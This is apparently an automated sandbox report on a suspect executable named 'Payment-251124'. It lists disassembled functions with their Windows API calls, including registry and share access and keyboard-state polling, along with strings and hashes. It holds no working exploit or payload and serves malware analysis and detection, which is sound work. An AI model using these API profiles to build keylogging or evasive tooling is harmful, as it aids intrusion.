                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                        • String ID: (
                                                        • API String ID: 2598888154-3887548279
                                                        • Opcode ID: 8e7fe1e1520c19c3f478d0960e3427e06255a16f4460f58dc939d6fecb9934f8
                                                        • Instruction ID: e5ace5c34c68a5b6271911deb46ba77808990b44ffbc7c45f2cb9f4ffd9ec42b
                                                        • Opcode Fuzzy Hash: 8e7fe1e1520c19c3f478d0960e3427e06255a16f4460f58dc939d6fecb9934f8
                                                        • Instruction Fuzzy Hash: 18516A76904309EFDB15CFA8CC84EAEBBB9EF49710F14841DF95AA7210C771A841DBA0
                                                        Function 00F0CC5C Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 155COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: LoadString__swprintf_wprintf
                                                        • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                        • API String ID: 2889450990-2391861430
                                                        • Opcode ID: 5846a33a5ce9f328fa2c437e90938bcad937c0fe940f76fb1d3efd636268a801
                                                        • Instruction ID: 1fe2a0d5021f25f5cb45f33428c06bd884e98f272b4e75d64f23874a9d23c4d9
                                                        • Opcode Fuzzy Hash: 5846a33a5ce9f328fa2c437e90938bcad937c0fe940f76fb1d3efd636268a801
                                                        • Instruction Fuzzy Hash: 38516572901509BACB15EBE0CE46FEEB7B8AF15300F10416AF505721A2EB316F56FB61
                                                        Function 00F0CA48 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 151COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: LoadString__swprintf_wprintf
                                                        • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                        • API String ID: 2889450990-3420473620
                                                        • Opcode ID: f59e4ca4ed431c0c58dd4669daf60a650a2ab3f2c8752e7269613c63c61a633b
                                                        • Instruction ID: 2d10723fa1739dbae718d4487d1df8e1d0cdbb7037dfd61ca6f1c2d33a2a8fb7
                                                        • Opcode Fuzzy Hash: f59e4ca4ed431c0c58dd4669daf60a650a2ab3f2c8752e7269613c63c61a633b
                                                        • Instruction Fuzzy Hash: BD518572900609BADB15EBE0CE46FEEB7B8AF04300F104159F50972192DB756F9AFB61
                                                        Function 00F055BD Relevance: 19.7, APIs: 13, Instructions: 213windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F055D7
                                                        • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00F05664
                                                        • GetMenuItemCount.USER32(00F81708), ref: 00F056ED
                                                        • DeleteMenu.USER32(00F81708,00000005,00000000,000000F5,?,?), ref: 00F0577D
                                                        • DeleteMenu.USER32(00F81708,00000004,00000000), ref: 00F05785
                                                        • DeleteMenu.USER32(00F81708,00000006,00000000), ref: 00F0578D
                                                        • DeleteMenu.USER32(00F81708,00000003,00000000), ref: 00F05795
                                                        • GetMenuItemCount.USER32(00F81708), ref: 00F0579D
                                                        • SetMenuItemInfoW.USER32(00F81708,00000004,00000000,00000030), ref: 00F057D3
                                                        • GetCursorPos.USER32(?), ref: 00F057DD
                                                        • SetForegroundWindow.USER32(00000000), ref: 00F057E6
                                                        • TrackPopupMenuEx.USER32(00F81708,00000000,?,00000000,00000000,00000000), ref: 00F057F9
                                                        • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00F05805
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                        • String ID:
                                                        • API String ID: 3993528054-0
                                                        • Opcode ID: d9e589f26c45b5b70f52e6b468e341724aa724d5c81bab38e44716b32baa3846
                                                        • Instruction ID: 30d0a7a345e7e785ce6b739d8d967f15395a5e6a42fd9c435f3b93fecd663213
                                                        • Opcode Fuzzy Hash: d9e589f26c45b5b70f52e6b468e341724aa724d5c81bab38e44716b32baa3846
                                                        • Instruction Fuzzy Hash: 09710471A41609BEEB209F54CC49FABBF69FF00B64F244205FA156A1D1CBB26850FF54
                                                        Function 00EFA14D Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00EFA1DC
                                                        • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00EFA211
                                                        • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00EFA22D
                                                        • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00EFA249
                                                        • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00EFA273
                                                        • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00EFA29B
                                                        • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00EFA2A6
                                                        • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00EFA2AB
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset
                                                        • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                        • API String ID: 1687751970-22481851
                                                        • Opcode ID: 3a8b2570597a3961ac4b979160a51bb48a93a71f3f783a124448caf06ea1d656
                                                        • Instruction ID: a7220abca0496fd7b44eff8ca0a1b9d84bb60216e2dd7732f1ff30bea474ae45
                                                        • Opcode Fuzzy Hash: 3a8b2570597a3961ac4b979160a51bb48a93a71f3f783a124448caf06ea1d656
                                                        • Instruction Fuzzy Hash: CA410776C1022DAADB11EFA4DC85EEEB7B8FF14300F04506AE905B7160EA359E06DB51
                                                        Function 00F23C06 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 109COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F22BB5,?,?), ref: 00F23C1D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BuffCharUpper
                                                        • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                        • API String ID: 3964851224-909552448
                                                        • Opcode ID: fc0de512e5a0db1d6693a8e60676303c42a15a2e450dba6701175bb70fc2f5a2
                                                        • Instruction ID: 23971ea93b38ffc1e5ca003a4834bd0829480c79d901ab08524624465a0aa0f0
                                                        • Opcode Fuzzy Hash: fc0de512e5a0db1d6693a8e60676303c42a15a2e450dba6701175bb70fc2f5a2
                                                        • Instruction Fuzzy Hash: 9F41737051029E8BDF00EF10E941AEB73A5FF52310F54581AEC552B392EB74AE0BEB11
                                                        Function 00F025B5 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00F336F4,00000010,?,Bad directive syntax error,00F5DC00,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 00F025D6
                                                        • LoadStringW.USER32(00000000,?,00F336F4,00000010), ref: 00F025DD
                                                        • _wprintf.LIBCMT ref: 00F02610
                                                        • __swprintf.LIBCMT ref: 00F02632
                                                        • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00F026A1
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: HandleLoadMessageModuleString__swprintf_wprintf
                                                        • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                        • API String ID: 1080873982-4153970271
                                                        • Opcode ID: 3afbe5f4dbb4f4c555e349b482fc1a5dd0337498e2b7705ce9e008e062809daf
                                                        • Instruction ID: 9bdee3fe475b9a1ef18a6b88a6f25c8824316d3a75a05c2f2ae93a661dc42b39
                                                        • Opcode Fuzzy Hash: 3afbe5f4dbb4f4c555e349b482fc1a5dd0337498e2b7705ce9e008e062809daf
                                                        • Instruction Fuzzy Hash: 0B21533280021DBFCF11AB90CC4AFEE7B79BF19304F04445AF509761A2DA72A655EB52
                                                        Function 00F07AD9 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00F07B42
                                                        • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00F07B58
                                                        • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00F07B69
                                                        • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00F07B7B
                                                        • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00F07B8C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: SendString
                                                        • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                        • API String ID: 890592661-1007645807
                                                        • Opcode ID: f8326a15c2f9395a49a942f5e6940130a6b7a482e447bbc67d64f9d6bd938574
                                                        • Instruction ID: f8e2c420a5a77c8ab04d7ca86ed06823962b4fa4d1377ef1b9dd02c5c23f3631
                                                        • Opcode Fuzzy Hash: f8326a15c2f9395a49a942f5e6940130a6b7a482e447bbc67d64f9d6bd938574
                                                        • Instruction Fuzzy Hash: FA11C8F195426979D724B361CC4AEFFBABCEBD1B10F00055EB415B20C1DE609A46E5B2
                                                        Function 00F0778F Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • timeGetTime.WINMM ref: 00F07794
                                                          • Part of subcall function 00EDDC38: timeGetTime.WINMM(?,75C0B400,00F358AB), ref: 00EDDC3C
                                                        • Sleep.KERNEL32(0000000A), ref: 00F077C0
                                                        • EnumThreadWindows.USER32(?,Function_00047744,00000000), ref: 00F077E4
                                                        • FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 00F07806
                                                        • SetActiveWindow.USER32 ref: 00F07825
                                                        • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00F07833
                                                        • SendMessageW.USER32(00000010,00000000,00000000), ref: 00F07852
                                                        • Sleep.KERNEL32(000000FA), ref: 00F0785D
                                                        • IsWindow.USER32 ref: 00F07869
                                                        • EndDialog.USER32(00000000), ref: 00F0787A
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                        • String ID: BUTTON
                                                        • API String ID: 1194449130-3405671355
                                                        • Opcode ID: 5d2da1b4051509462776ab62976e7a523aabc8efdb080fadba73a106fb5bfc8c
                                                        • Instruction ID: bca94357edcf12cd1007f4d948a021ee86cb1fa2e8d31e4b20808f9b702513f4
                                                        • Opcode Fuzzy Hash: 5d2da1b4051509462776ab62976e7a523aabc8efdb080fadba73a106fb5bfc8c
                                                        • Instruction Fuzzy Hash: 7C21A174A0430DAFEB006B60EC98B763F69FB55B98F144054F905821B2CF71AC04FB21
                                                        Function 00F102EE Relevance: 18.3, APIs: 12, Instructions: 282comCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                        • CoInitialize.OLE32(00000000), ref: 00F1034B
                                                        • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00F103DE
                                                        • SHGetDesktopFolder.SHELL32(?), ref: 00F103F2
                                                        • CoCreateInstance.OLE32(00F4DA8C,00000000,00000001,00F73CF8,?), ref: 00F1043E
                                                        • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00F104AD
                                                        • CoTaskMemFree.OLE32(?,?), ref: 00F10505
                                                        • _memset.LIBCMT ref: 00F10542
                                                        • SHBrowseForFolderW.SHELL32(?), ref: 00F1057E
                                                        • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00F105A1
                                                        • CoTaskMemFree.OLE32(00000000), ref: 00F105A8
                                                        • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00F105DF
                                                        • CoUninitialize.OLE32(00000001,00000000), ref: 00F105E1
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                        • String ID:
                                                        • API String ID: 1246142700-0
                                                        • Opcode ID: cb139fc32cb8a4b8aaceb19651d5b9b3afb894489efc33e295d4d66473784d7a
                                                        • Instruction ID: 7c207935c866cf6d362f7efabb89fd1fe02870f07b1d54b4e41ee7a7b849b67c
                                                        • Opcode Fuzzy Hash: cb139fc32cb8a4b8aaceb19651d5b9b3afb894489efc33e295d4d66473784d7a
                                                        • Instruction Fuzzy Hash: 7BB1CA75A00209AFDB04DFA4C988EAEBBF9FF48314B148459F909EB251DB71ED81DB50
                                                        Function 00F02E5B Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetKeyboardState.USER32(?), ref: 00F02ED6
                                                        • SetKeyboardState.USER32(?), ref: 00F02F41
                                                        • GetAsyncKeyState.USER32(000000A0), ref: 00F02F61
                                                        • GetKeyState.USER32(000000A0), ref: 00F02F78
                                                        • GetAsyncKeyState.USER32(000000A1), ref: 00F02FA7
                                                        • GetKeyState.USER32(000000A1), ref: 00F02FB8
                                                        • GetAsyncKeyState.USER32(00000011), ref: 00F02FE4
                                                        • GetKeyState.USER32(00000011), ref: 00F02FF2
                                                        • GetAsyncKeyState.USER32(00000012), ref: 00F0301B
                                                        • GetKeyState.USER32(00000012), ref: 00F03029
                                                        • GetAsyncKeyState.USER32(0000005B), ref: 00F03052
                                                        • GetKeyState.USER32(0000005B), ref: 00F03060
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: State$Async$Keyboard
                                                        • String ID:
                                                        • API String ID: 541375521-0
                                                        • Opcode ID: 4a07c4e2102802325445860bbcee44436ed3e6194707bb6aaa1b263b5184d500
                                                        • Instruction ID: 284121a4c49c6647386d04672cc8447e7f02cfb6d82b16ff8a96a8f6b179d3dd
                                                        • Opcode Fuzzy Hash: 4a07c4e2102802325445860bbcee44436ed3e6194707bb6aaa1b263b5184d500
                                                        • Instruction Fuzzy Hash: 62511674E0478829FB75DBA488147EABFF85F11394F08458DC5C25A1C2DA58AB8CF7B2
                                                        Function 00EFED02 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDlgItem.USER32(?,00000001), ref: 00EFED1E
                                                        • GetWindowRect.USER32(00000000,?), ref: 00EFED30
                                                        • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00EFED8E
                                                        • GetDlgItem.USER32(?,00000002), ref: 00EFED99
                                                        • GetWindowRect.USER32(00000000,?), ref: 00EFEDAB
                                                        • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00EFEE01
                                                        • GetDlgItem.USER32(?,000003E9), ref: 00EFEE0F
                                                        • GetWindowRect.USER32(00000000,?), ref: 00EFEE20
                                                        • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00EFEE63
                                                        • GetDlgItem.USER32(?,000003EA), ref: 00EFEE71
                                                        • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00EFEE8E
                                                        • InvalidateRect.USER32(?,00000000,00000001), ref: 00EFEE9B
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$ItemMoveRect$Invalidate
                                                        • String ID:
                                                        • API String ID: 3096461208-0
                                                        • Opcode ID: 26c92c76f893e1668d43cb540df67dbb108c039b1640a7a9d8b114adce71d0fe
                                                        • Instruction ID: 47efcf2fd0ce916b038b825eb61bc3f4e5e6b2e2575bf326ef41f41c4bef6e7d
                                                        • Opcode Fuzzy Hash: 26c92c76f893e1668d43cb540df67dbb108c039b1640a7a9d8b114adce71d0fe
                                                        • Instruction Fuzzy Hash: F1513475B00209AFDB18CF68DD95AAEBBB5FB98704F158129FA19E7290D770AD00CB10
                                                        Function 00EDB73E Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00EDB759,?,00000000,?,?,?,?,00EDB72B,00000000,?), ref: 00EDBA58
                                                        • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00EDB72B), ref: 00EDB7F6
                                                        • KillTimer.USER32(00000000,?,00000000,?,?,?,?,00EDB72B,00000000,?,?,00EDB2EF,?,?), ref: 00EDB88D
                                                        • DestroyAcceleratorTable.USER32(00000000), ref: 00F3D8A6
                                                        • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00EDB72B,00000000,?,?,00EDB2EF,?,?), ref: 00F3D8D7
                                                        • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00EDB72B,00000000,?,?,00EDB2EF,?,?), ref: 00F3D8EE
                                                        • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00EDB72B,00000000,?,?,00EDB2EF,?,?), ref: 00F3D90A
                                                        • DeleteObject.GDI32(00000000), ref: 00F3D91C
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                        • String ID:
                                                        • API String ID: 641708696-0
                                                        • Opcode ID: 8ac9988fc7a5feb249e71f644b55d86dddcd11db0ebde0bbacfcd04d185f3b9e
                                                        • Instruction ID: cc0da3dc89ba3196bd4fe7b737159408bc266d72e49acfab4a42492a06136cdb
                                                        • Opcode Fuzzy Hash: 8ac9988fc7a5feb249e71f644b55d86dddcd11db0ebde0bbacfcd04d185f3b9e
                                                        • Instruction Fuzzy Hash: 9C619F34901604CFDB259F18E988B75B7F9FF95325F16121EE486A6670E730A892FB40
                                                        Function 00EDB40A Relevance: 18.1, APIs: 12, Instructions: 131COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB526: GetWindowLongW.USER32(?,000000EB), ref: 00EDB537
                                                        • GetSysColor.USER32(0000000F), ref: 00EDB438
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
